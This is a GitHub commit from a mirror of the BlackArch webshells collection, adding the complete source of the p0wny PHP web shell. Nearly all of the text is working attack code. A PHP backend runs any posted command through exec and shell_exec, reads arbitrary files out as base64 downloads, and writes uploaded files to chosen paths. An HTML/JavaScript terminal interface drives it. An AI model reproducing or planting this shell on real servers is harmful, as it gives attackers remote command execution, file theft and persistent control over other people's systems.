mirror of
https://github.com/BlackArch/webshells
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adding p0wny shell
This commit is contained in:
Abhinav prasad
GitHub
parent
97d532ca62
commit
39b29d699b
1 changed files with 412 additions and 0 deletions
412
php/p0wny_shell.php
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412
php/p0wny_shell.php
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@ -0,0 +1,412 @@
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<?php
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function featureShell($cmd, $cwd) {
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$stdout = array();
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if (preg_match("/^\s*cd\s*$/", $cmd)) {
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// pass
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} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
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chdir($cwd);
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preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
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chdir($match[1]);
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} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
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chdir($cwd);
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preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
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return featureDownload($match[1]);
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} else {
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chdir($cwd);
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exec($cmd, $stdout);
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}
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return array(
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"stdout" => $stdout,
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"cwd" => getcwd()
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);
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}
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function featurePwd() {
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return array("cwd" => getcwd());
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}
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function featureHint($fileName, $cwd, $type) {
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chdir($cwd);
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if ($type == 'cmd') {
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$cmd = "compgen -c $fileName";
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} else {
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$cmd = "compgen -f $fileName";
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}
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$cmd = "/bin/bash -c \"$cmd\"";
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$files = explode("\n", shell_exec($cmd));
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return array(
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'files' => $files,
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);
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}
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function featureDownload($filePath) {
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$file = @file_get_contents($filePath);
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if ($file === FALSE) {
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return array(
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'stdout' => array('File not found / no read permission.'),
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'cwd' => getcwd()
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);
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} else {
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return array(
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'name' => basename($filePath),
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'file' => base64_encode($file)
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);
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}
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}
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function featureUpload($path, $file, $cwd) {
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chdir($cwd);
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$f = @fopen($path, 'wb');
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if ($f === FALSE) {
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return array(
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'stdout' => array('Invalid path / no write permission.'),
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'cwd' => getcwd()
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);
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} else {
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fwrite($f, base64_decode($file));
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fclose($f);
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return array(
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'stdout' => array('Done.'),
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'cwd' => getcwd()
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);
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}
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}
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if (isset($_GET["feature"])) {
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$response = NULL;
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switch ($_GET["feature"]) {
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case "shell":
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$cmd = $_POST['cmd'];
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if (!preg_match('/2>/', $cmd)) {
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$cmd .= ' 2>&1';
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}
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$response = featureShell($cmd, $_POST["cwd"]);
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break;
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case "pwd":
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$response = featurePwd();
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break;
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case "hint":
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$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
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break;
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case 'upload':
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$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
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}
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header("Content-Type: application/json");
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echo json_encode($response);
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die();
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}
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?><!DOCTYPE html>
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<html>
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<head>
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<meta charset="UTF-8" />
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<title>p0wny@shell:~#</title>
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<meta name="viewport" content="width=device-width, initial-scale=1.0" />
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<style>
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html, body {
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margin: 0;
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padding: 0;
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background: #333;
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color: #eee;
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font-family: monospace;
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}
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#shell {
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background: #222;
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max-width: 800px;
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margin: 50px auto 0 auto;
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box-shadow: 0 0 5px rgba(0, 0, 0, .3);
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font-size: 10pt;
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display: flex;
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flex-direction: column;
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align-items: stretch;
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}
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#shell-content {
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height: 500px;
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overflow: auto;
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padding: 5px;
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white-space: pre-wrap;
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flex-grow: 1;
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}
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#shell-logo {
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font-weight: bold;
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color: #FF4180;
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text-align: center;
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}
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@media (max-width: 991px) {
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#shell-logo {
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display: none;
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}
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html, body, #shell {
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height: 100%;
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width: 100%;
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max-width: none;
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}
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#shell {
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margin-top: 0;
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}
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}
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@media (max-width: 767px) {
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#shell-input {
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flex-direction: column;
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}
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}
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.shell-prompt {
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font-weight: bold;
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color: #75DF0B;
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}
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.shell-prompt > span {
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color: #1BC9E7;
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}
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#shell-input {
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display: flex;
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box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
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border-top: rgba(255, 255, 255, .05) solid 1px;
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}
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#shell-input > label {
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flex-grow: 0;
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display: block;
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padding: 0 5px;
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height: 30px;
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line-height: 30px;
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}
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#shell-input #shell-cmd {
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height: 30px;
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line-height: 30px;
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border: none;
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background: transparent;
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color: #eee;
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font-family: monospace;
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font-size: 10pt;
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width: 100%;
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align-self: center;
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}
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#shell-input div {
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flex-grow: 1;
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align-items: stretch;
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}
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#shell-input input {
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outline: none;
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}
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</style>
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<script>
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var CWD = null;
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var commandHistory = [];
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var historyPosition = 0;
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var eShellCmdInput = null;
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var eShellContent = null;
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function _insertCommand(command) {
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eShellContent.innerHTML += "\n\n";
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eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
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eShellContent.innerHTML += escapeHtml(command);
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eShellContent.innerHTML += "\n";
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eShellContent.scrollTop = eShellContent.scrollHeight;
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}
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function _insertStdout(stdout) {
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eShellContent.innerHTML += escapeHtml(stdout);
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eShellContent.scrollTop = eShellContent.scrollHeight;
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}
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function featureShell(command) {
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_insertCommand(command);
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if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
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featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
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} else if (/^\s*clear\s*$/.test(command)) {
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// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
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eShellContent.innerHTML = '';
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} else {
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makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
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if (response.hasOwnProperty('file')) {
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featureDownload(response.name, response.file)
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} else {
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_insertStdout(response.stdout.join("\n"));
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updateCwd(response.cwd);
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}
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});
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}
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}
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function featureHint() {
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if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
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function _requestCallback(data) {
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if (data.files.length <= 1) return; // no completion
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if (data.files.length === 2) {
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if (type === 'cmd') {
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eShellCmdInput.value = data.files[0];
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} else {
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var currentValue = eShellCmdInput.value;
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eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
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}
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} else {
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_insertCommand(eShellCmdInput.value);
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_insertStdout(data.files.join("\n"));
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}
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}
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var currentCmd = eShellCmdInput.value.split(" ");
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var type = (currentCmd.length === 1) ? "cmd" : "file";
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var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
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makeRequest(
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"?feature=hint",
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{
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filename: fileName,
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cwd: CWD,
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type: type
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},
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_requestCallback
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);
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}
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function featureDownload(name, file) {
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var element = document.createElement('a');
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element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
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element.setAttribute('download', name);
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element.style.display = 'none';
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document.body.appendChild(element);
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element.click();
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document.body.removeChild(element);
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_insertStdout('Done.');
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}
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function featureUpload(path) {
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var element = document.createElement('input');
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element.setAttribute('type', 'file');
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element.style.display = 'none';
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document.body.appendChild(element);
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element.addEventListener('change', function () {
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var promise = getBase64(element.files[0]);
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promise.then(function (file) {
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makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
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_insertStdout(response.stdout.join("\n"));
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updateCwd(response.cwd);
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});
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}, function () {
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_insertStdout('An unknown client-side error occurred.');
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});
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});
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element.click();
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document.body.removeChild(element);
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}
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function getBase64(file, onLoadCallback) {
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return new Promise(function(resolve, reject) {
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var reader = new FileReader();
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reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
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reader.onerror = reject;
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reader.readAsDataURL(file);
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});
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}
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function genPrompt(cwd) {
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cwd = cwd || "~";
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var shortCwd = cwd;
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if (cwd.split("/").length > 3) {
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var splittedCwd = cwd.split("/");
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shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
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}
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return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
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}
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function updateCwd(cwd) {
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if (cwd) {
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CWD = cwd;
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_updatePrompt();
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return;
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}
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makeRequest("?feature=pwd", {}, function(response) {
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CWD = response.cwd;
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_updatePrompt();
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});
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}
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function escapeHtml(string) {
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return string
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.replace(/&/g, "&")
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.replace(/</g, "<")
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.replace(/>/g, ">");
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}
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function _updatePrompt() {
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var eShellPrompt = document.getElementById("shell-prompt");
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eShellPrompt.innerHTML = genPrompt(CWD);
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}
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function _onShellCmdKeyDown(event) {
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switch (event.key) {
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case "Enter":
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featureShell(eShellCmdInput.value);
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insertToHistory(eShellCmdInput.value);
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eShellCmdInput.value = "";
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break;
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case "ArrowUp":
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if (historyPosition > 0) {
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historyPosition--;
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eShellCmdInput.blur();
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eShellCmdInput.focus();
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eShellCmdInput.value = commandHistory[historyPosition];
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}
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break;
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case "ArrowDown":
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if (historyPosition >= commandHistory.length) {
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break;
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}
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historyPosition++;
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if (historyPosition === commandHistory.length) {
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eShellCmdInput.value = "";
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} else {
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eShellCmdInput.blur();
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eShellCmdInput.focus();
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eShellCmdInput.value = commandHistory[historyPosition];
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}
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break;
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case 'Tab':
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event.preventDefault();
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featureHint();
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break;
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}
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}
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function insertToHistory(cmd) {
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commandHistory.push(cmd);
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historyPosition = commandHistory.length;
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}
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function makeRequest(url, params, callback) {
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function getQueryString() {
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var a = [];
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for (var key in params) {
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if (params.hasOwnProperty(key)) {
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a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
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}
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}
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return a.join("&");
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}
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var xhr = new XMLHttpRequest();
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xhr.open("POST", url, true);
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xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
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xhr.onreadystatechange = function() {
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if (xhr.readyState === 4 && xhr.status === 200) {
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try {
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var responseJson = JSON.parse(xhr.responseText);
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callback(responseJson);
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} catch (error) {
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alert("Error while parsing response: " + error);
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}
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}
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};
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xhr.send(getQueryString());
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}
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window.onload = function() {
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eShellCmdInput = document.getElementById("shell-cmd");
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eShellContent = document.getElementById("shell-content");
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updateCwd();
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eShellCmdInput.focus();
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};
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</script>
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</head>
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<body>
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<div id="shell">
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<pre id="shell-content">
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<div id="shell-logo">
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___ ____ _ _ _ _ _ <span></span>
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_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
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| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
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| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
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| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
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|_| |___/ \____/ <span></span>
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</div>
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</pre>
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<div id="shell-input">
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<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
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<div>
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<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
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</div>
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</div>
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</div>
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</body>
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</html>
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